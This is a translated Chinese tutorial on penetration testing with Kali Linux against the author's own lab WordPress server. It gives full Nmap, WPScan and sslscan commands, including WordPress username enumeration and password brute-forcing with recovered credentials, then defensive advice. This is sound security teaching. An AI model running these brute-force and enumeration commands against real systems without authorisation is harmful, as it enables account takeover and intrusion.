51CTO首页
AI.x社区
博客
学堂
精品班
软考社区
免费课
企业培训
鸿蒙开发者社区
WOT技术大会
IT证书
公众号矩阵
移动端
短视频免费课程课程排行直播课软考学堂
全部课程厂商认证IT技术24年11月软考PMP项目管理免费题库
在线学习
文章资源问答课堂专栏直播
51CTO
鸿蒙开发者社区
51CTO技术栈
51CTO官微
51CTO学堂
51CTO博客
CTO训练营
鸿蒙开发者社区订阅号
51CTO软考
51CTO学堂APP
51CTO学堂企业版APP
鸿蒙开发者社区视频号
51CTO软考题库
账号设置 退出

使用 Linux 安全工具进行渗透测试

作者：Peter Gervase
运维 系统运维
众多被广泛报道的大型消费企业入侵事件凸显了系统安全管理的重要性。幸运的是，有许多不同的应用程序可以帮助保护计算机系统。其中一个是 Kali，一个为安全和渗透测试而开发的 Linux 发行版。本文演示了如何使用 Kali Linux 来审视你的系统以发现弱点。

[[415565]]

使用 Kali Linux 和其他开源工具来发现系统中的安全漏洞和弱点。

众多被广泛报道的大型消费企业入侵事件凸显了系统安全管理的重要性。幸运的是，有许多不同的应用程序可以帮助保护计算机系统。其中一个是 Kali，一个为安全和渗透测试而开发的 Linux 发行版。本文演示了如何使用 Kali Linux 来审视你的系统以发现弱点。

Kali 安装了很多工具，它们都是开源的，默认情况下安装了它们会让事情变得更容易。

（LCTT 译注：Kali 及其携带工具只应该用于对自己拥有合法审查权利的系统和设备，任何未经授权的扫描、渗透和攻击均是违法的。本文作者、译者均不承担任何非授权使用的结果。） 

Kali's tools

本文使用的系统是：

  1. kali.usersts.redhat.com：这是我将用来启动扫描和攻击的系统。它拥有 30GB 内存和 6 个虚拟 CPU（vCPU）。
  2. vulnerable.usersys.redhat.com: 这是一个 Red Hat 企业版 Linux 8 系统，它会成为目标。它拥有 16GB 内存和 6 个 vCPU。它是一个相对较新的系统，但有些软件包可能已经过时。
  3. 这个系统包括 httpd-2.4.37-30.module+el8.3.0+7001+0766b9e7.x86_64、 mariadb-server-10.3.27-3.module+el8.3.0+8972+5e3224e9.x86_64、 tigervnc-server-1.9.0-15.el8_1.x86_64、 vsftpd-3.0.3-32.el8.x86_64 和一个 5.6.1 版本的 WordPress。

我在上面列出了硬件规格，因为一些任务要求很高，尤其是在运行 WordPress 安全扫描程序（WPScan）时对目标系统 CPU 的要求。

探测你的系统

首先，我会在目标系统上进行基本的 Nmap 扫描（你可以阅读 使用 Nmap 结果帮助加固 Linux 系统 一文来更深入地了解 Nmap）。Nmap 扫描是一种快速的方法，可以大致了解被测系统中哪些端口和服务是暴露的。 

Nmap scan

默认扫描显示有几个你可能感兴趣的开放端口。实际上，任何开放端口都可能成为攻击者破坏你网络的一种方式。在本例中，端口 21、22、80 和 443 是不错的扫描对象，因为它们是常用服务的端口。在这个早期阶段，我只是在做侦察工作，尽可能多地获取有关目标系统的信息。

我想用 Nmap 侦察 80 端口，所以我使用 -p 80 参数来查看端口 80，-A 参数来获取操作系统和应用程序版本等信息。 

Nmap scan of port 80

关键信息有：

  1. PORT   STATE SERVICE VERSION
  2. 80/tcp open  http       Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
  3. |_http-generator: WordPress 5.6.1

现在我知道了这是一个 WordPress 服务器，我可以使用 WPScan 来获取有关潜在威胁的信息。一个很好的侦察方法是尝试找到一些用户名，使用 --enumerate u 告诉 WPScan 在 WordPress 实例中查找用户名。例如：

  1. ┌──(root💀kali)-[~]
  2. └─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
  3. _______________________________________________________________
  4.         __              _______   _____
  5.         \ \     / /  __ \ / ____|
  6.         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
  7.         \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
  8.                 \  /\  /  | |   ____) | (__| (_| | | | |
  9.                 \/  \/   |_|    |_____/ \___|\__,_|_| |_|
  10.  
  11.         WordPress Security Scanner by the WPScan Team
  12.                         Version 3.8.10
  13.         Sponsored by Automattic - https://automattic.com/
  14.         @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
  15. _______________________________________________________________
  16.  
  17. [+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
  18. [+] Started: Tue Feb 16 21:38:49 2021
  19.  
  20. Interesting Finding(s):
  21. ...
  22. [i] User(s) Identified:
  23.  
  24. [+] admin
  25.  | Found By: Author Posts - Display Name (Passive Detection)
  26.  | Confirmed By:
  27.  |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  28.  |  Login Error Messages (Aggressive Detection)
  29.  
  30. [+] pgervase
  31.  | Found By: Author Posts - Display Name (Passive Detection)
  32.  | Confirmed By:
  33.  |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  34.  |  Login Error Messages (Aggressive Detection)

这显示有两个用户：admin 和 pgervase。我将尝试使用密码字典来猜测 admin 的密码。密码字典是一个包含很多密码的文本文件。我使用的字典大小有 37G，有 3,543,076,137 行。

就像你可以选择不同的文本编辑器、Web 浏览器和其他应用程序 一样，也有很多工具可以启动密码攻击。下面是两个使用 Nmap 和 WPScan 的示例命令：

  1. # nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
  1. # wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt

这个 Nmap 脚本是我使用的许多脚本之一，使用 WPScan 扫描 URL 只是这个工具可以完成的许多任务之一。你可以用你喜欢的那一个。

WPScan 示例在文件末尾显示了密码：

  1. ┌──(root💀kali)-[~]
  2. └─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
  3. _______________________________________________________________
  4.         __              _______   _____
  5.         \ \     / /  __ \ / ____|
  6.         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
  7.         \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
  8.                 \  /\  /  | |   ____) | (__| (_| | | | |
  9.                 \/  \/   |_|    |_____/ \___|\__,_|_| |_|
  10.  
  11.         WordPress Security Scanner by the WPScan Team
  12.                         Version 3.8.10
  13.         Sponsored by Automattic - https://automattic.com/
  14.         @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
  15. _______________________________________________________________
  16.  
  17. [+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
  18. [+] Started: Thu Feb 18 20:32:13 2021
  19.  
  20. Interesting Finding(s):
  21.  
  22. ......
  23.  
  24. [+] Performing password attack on Wp Login against 1 user/s
  25. Trying admin / redhat Time: 00:01:57 <==================================================================================================================> (3231 / 3231) 100.00% Time: 00:01:57
  26. Trying admin / redhat Time: 00:01:57 <=========================================================                                                         > (3231 / 6462) 50.00%  ETA: ??:??:??
  27. [SUCCESS] - admin / redhat                                                                                                                                                                      
  28.  
  29. [!] Valid Combinations Found:
  30.  | Username: admin, Password: redhat
  31.  
  32. [!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
  33. [!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register
  34.  
  35. [+] Finished: Thu Feb 18 20:34:15 2021
  36. [+] Requests Done: 3255
  37. [+] Cached Requests: 34
  38. [+] Data Sent: 1.066 MB
  39. [+] Data Received: 24.513 MB
  40. [+] Memory used: 264.023 MB
  41. [+] Elapsed time: 00:02:02

在末尾的“找到有效组合”部分包含了管理员用户名和密码，3231 行只用了两分钟。

我还有另一个字典文件，其中包含 3,238,659,984 行，使用它花费的时间更长并且会留下更多的证据。

使用 Nmap 可以更快地产生结果：

  1. ┌──(root💀kali)-[~]
  2. └─# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=password.txt,threads=6 vulnerable.usersys.redhat.com
  3. Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
  4. Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
  5. Host is up (0.00015s latency).
  6. Not shown: 995 closed ports
  7. PORT    STATE SERVICE VERSION
  8. 21/tcp   open  ftp      vsftpd 3.0.3
  9. 22/tcp   open  ssh      OpenSSH 8.0 (protocol 2.0)
  10. 80/tcp   open  http     Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
  11. |_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
  12. | http-wordpress-brute:
  13. |   Accounts:
  14. |       admin:redhat - Valid credentials              <<<<<<<
  15. |       pgervase:redhat - Valid credentials         <<<<<<<
  16. |_  Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
  17. 111/tcp  open  rpcbind 2-4 (RPC #100000)
  18. | rpcinfo:
  19. |   program version     port/proto  service
  20. |   100000  2,3,4       111/tcp   rpcbind
  21. |   100000  2,3,4       111/udp   rpcbind
  22. |   100000  3,4         111/tcp6  rpcbind
  23. |_  100000  3,4         111/udp6  rpcbind
  24. 3306/tcp open  mysql   MySQL 5.5.5-10.3.27-MariaDB
  25. MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
  26. Service Info: OS: Unix
  27.  
  28. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  29. Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds

然而，运行这样的扫描可能会在目标系统上留下大量的 HTTPD 日志消息：

  1. 10.19.47.170 - - [18/Feb/2021:20:14:01 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
  2. 10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
  3. 10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
  4. 10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
  5. 10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
  6. 10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
  7. 10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
  8. 10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
  9. 10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
  10.  

为了获得关于在最初的 Nmap 扫描中发现的 HTTPS 服务器的信息，我使用了 sslscan 命令：

  1. ┌──(root💀kali)-[~]
  2. └─# sslscan vulnerable.usersys.redhat.com
  3. Version: 2.0.6-static
  4. OpenSSL 1.1.1i-dev  xx XXX xxxx
  5.  
  6. Connected to 10.19.47.242
  7.  
  8. Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com
  9.  
  10.   SSL/TLS Protocols:
  11. SSLv2   disabled
  12. SSLv3   disabled
  13. TLSv1.0   disabled
  14. TLSv1.1   disabled
  15. TLSv1.2   enabled
  16. TLSv1.3   enabled
  17. <snip>

它显示了有关启用的 SSL 协议的信息，在最下方，是关于 Heartbleed 漏洞的信息：

  1.   Heartbleed:
  2. TLSv1.3 not vulnerable to heartbleed
  3. TLSv1.2 not vulnerable to heartbleed

防御或减轻攻击的技巧

有很多方法可以保护你的系统免受大量攻击。几个关键点是：

  • **了解你的系统：**包括了解哪些端口是开放的，哪些端口应该开放，谁应该能够看到这些开放的端口，以及使用这些端口服务的预期流量是多少。Nmap 是了解网络系统的一个绝佳工具。
  • 使用当前的最佳实践： 现在的最佳实践可能不是未来的最佳实践。作为管理员，了解信息安全领域的最新趋势非常重要。
  • 知道如何使用你的产品： 例如，与其让攻击者不断攻击你的 WordPress 系统，不如阻止他们的 IP 地址并限制尝试登录的次数。在现实世界中，阻止 IP 地址可能没有那么有用，因为攻击者可能会使用受感染的系统来发起攻击。但是，这是一个很容易启用的设置，可以阻止一些攻击。
  • 维护和验证良好的备份： 如果攻击者攻击了一个或多个系统，能从已知的良好和干净的备份中重新构建可以节省大量时间和金钱。
  • 检查日志： 如上所示，扫描和渗透命令可能会留下大量日志，这表明攻击者正在攻击系统。如果你注意到它们，可以采取先发制人的行动来降低风险。
  • 更新系统、应用程序和任何额外的模块： 正如 NIST Special Publication 800-40r3 所解释的那样，“补丁通常是减轻软件缺陷漏洞最有效的方法，而且通常是唯一完全有效的解决方案。”
  • 使用供应商提供的工具： 供应商有不同的工具来帮助你维护他们的系统，因此一定要充分利用它们。例如，红帽企业 Linux 订阅中包含的 Red Hat Insights 可以帮助你优化系统并提醒你注意潜在的安全威胁。

了解更多

本文对安全工具及其使用方法的介绍只是冰山一角。深入了解的话，你可能需要查看以下资源：

 

 

责任编辑：庞桂玉 来源： Linux中国
Linux渗透测试
相关推荐
使用Metasploit对思科IOS进行渗透测试
开源的MetasploitFramework和商业化的Metasploit产品提供了网络设备安全评估功能，本文介绍如何使用最新的版本对思科IOS进行渗透测试。

2010-12-27 09:19:23

通过渗透测试即服务 (PTaaS) 进行持续安全验证
借助持续验证安全性的工具和功能（包括渗透测试即服务），DevSecOps团队可以快速修复关键漏洞，因为最需要的团队可以轻松获得战术支持。这为SOC和DevOps团队提供了消除误报、验证结果并简化补救和事件响应的工具。这种有效的投资提供了游戏点优势，通过减少需要SOC检测和响应的事件、事件和违规行为，为SOC节省时间。

2023-08-10 07:46:49

网络安全攻防：其他渗透测试工具
BackBox是基于Ubuntu的，它被开发用于网络渗透测试及安全评估，同时包含了一些最常用的Linux安全及分析工具。

2021-01-21 09:25:22

网络安全渗透测试工具
Web安全：内网渗透工具
在网络空间中，大部分的安全问题都源自内网。事实上，黑客们一般谈论的渗透都是指内网的渗透网，即黑客在获取目标网站的webshell并进入内网以后，就可通过内网渗透工具不断提升自己权限，以达到控制整个内网的目的。

2020-12-30 10:38:41

Web安全内网工具
安全测试以及安全测试与渗透测试的区别
视角因素：安全测试是帮助客户降低安全威胁，减少安全漏洞。本身是一种防护技术，尽量发现安全问题并指导客户修复安全问题是关键，沿着的路径是发现安全问题分析评估安全问题〉提出修补建议〉度量安全，而不是以攻击者视角发现安全问题〉利用安全问题〉获得非法收益的路径。

2010-08-14 21:59:35

用于黑客渗透测试的21个Kali Linux工具
这里是KaliLinux工具列表，它们可以让你评估Web服务器的安全性，并帮助你执行黑客渗透测试。

2019-05-16 10:46:06

渗透测试Kali Linux工具
渗透测试工具Mimikatz ON Metasploit
看了各种文章讲神器mimikatz，但是一直没有讲与metasploit使用的。Metasploit其实早就集成了mimikatz，现在将官方的文章翻译给大家。

2014-07-01 10:09:01

专业 WiFi 渗透测试工具
越来越多的设备通过无线传输的方式连接到互联网，以及，大范围可用的WiFi接入点为攻击者攻击用户提供了很多机会。

2019-02-26 08:30:48

面向渗透测试的实用工具：BackBox Linux
在开源界，最受欢迎的渗透测试版本是KaliLinux。然而，它不是唯一的选择。实际上，还有专门用于渗透测试的另一个Linux版本：BackBox(https:linux.backbox.org)。BackBox基于UbuntuLinux，这也意味着易于使用除自带应用程序之外的另外一大批优秀应用程序。

2019-03-19 09:00:00

LinuxBackBox渗透测试
如何进行物联网渗透测试？
渗透测试揭示了未知的安全漏洞，因为值得信赖的专业人员模拟威胁性攻击。他们深入挖掘固件和硬件，以查找漏洞和可访问性疏忽。

2023-04-26 15:46:55

如何进行物联网渗透测试？
物联网(IoT)连接设备是严重且可预防的安全漏洞的意外来源，现在是时候像其他硬件一样对其进行渗透测试处理了。为什么必须给予物联网设备特殊待遇，以及企业如何成功地保护它们？

2023-05-12 15:20:24

渗透测试专业人员使用的11种工具
渗透测试是模拟一种网络攻击，在真正的黑客入侵之前，模拟黑客入侵企业网络来发现薄弱之处。就像电影《Sneakers》一样，黑客顾问闯入公司网络来发现网络的弱点。

2020-03-08 11:31:15

渗透测试网络攻击安全工具
安全人员爱用的12款开源渗透测试工具
如今，一套自动化测试工具让渗透测试人员变身“半机械人”，能够比以往任何时候都更轻松地完成更多测试。以下12款开源渗透测试工具，可以帮助渗透测试人员更快、更好、更智能地完成工作。

2023-07-27 13:08:38

通过网络渗透测试确保应用安全
一个就职于某企业的同行最近向我讲述了他们对应用的测试过程以及该测试有多么地全面，他们还对应用系统进行网络渗透测试来确保其全方位的安全。我认为这听起来就像是浪费时间和资源。你同意我的看法吗？当确保应用系统安全时实施网络渗透测试有好处吗？如果有的话，会是什么好处呢？

2011-11-15 10:35:26

用于黑客渗透测试的21个优秀Kali Linux工具
如果你读过KaliLinux点评，你就知道为什么它被认为是最好的黑客渗透测试的Linux发行版之一，而且名副其实。它带有许多工具，使你可以更轻松地测试、破解以及进行与数字取证相关的任何其他工作。

2019-05-16 08:47:50

用于黑客渗透测试的21个优秀Kali Linux工具
这里是较好的KaliLinux工具列表，它们可以让你评估Web服务器的安全性，并帮助你执行黑客渗透测试。

2019-12-06 10:04:54

Linux黑客网络安全
渗透测试工具 Immunity CANVAS评测
目前商用领域上ImmunityCANVAS是比较流行的安全漏洞检测工具。该工具由美国ImmunitySec公司研究开发，紧紧追随信息技术世界里最紧迫最急切的安全问题，为用户发布漏洞检测包。

2012-01-13 15:55:51

专业人士使用的 11 种渗透测试工具
Kali附带了这里提到的大多数工具，并且是大多数用例的默认渗透测试操作系统。但请注意——Kali是针对进攻而非防守进行优化的，并且很容易反过来被利用。不要在KaliVM中保留自己的超级机密文件。

2022-08-03 00:03:10

工具操作系统Kali
如何使用 Sysbench 进行 Linux 性能测试？
Sysbench是一个开源的多用途基准测试实用程序，用于评估CPU、内存、IO和数据库(MySQL)性能的参数特性测试。

2021-07-03 08:54:49

LinuxSysbench性能
网络安全攻防：Web安全之渗透测试
本文基于某个开源的CMS搭建一个靶机，来演示Web渗透整个过程。

2021-05-13 20:38:30

点赞
收藏

51CTO技术栈公众号

业务
速览
在线客服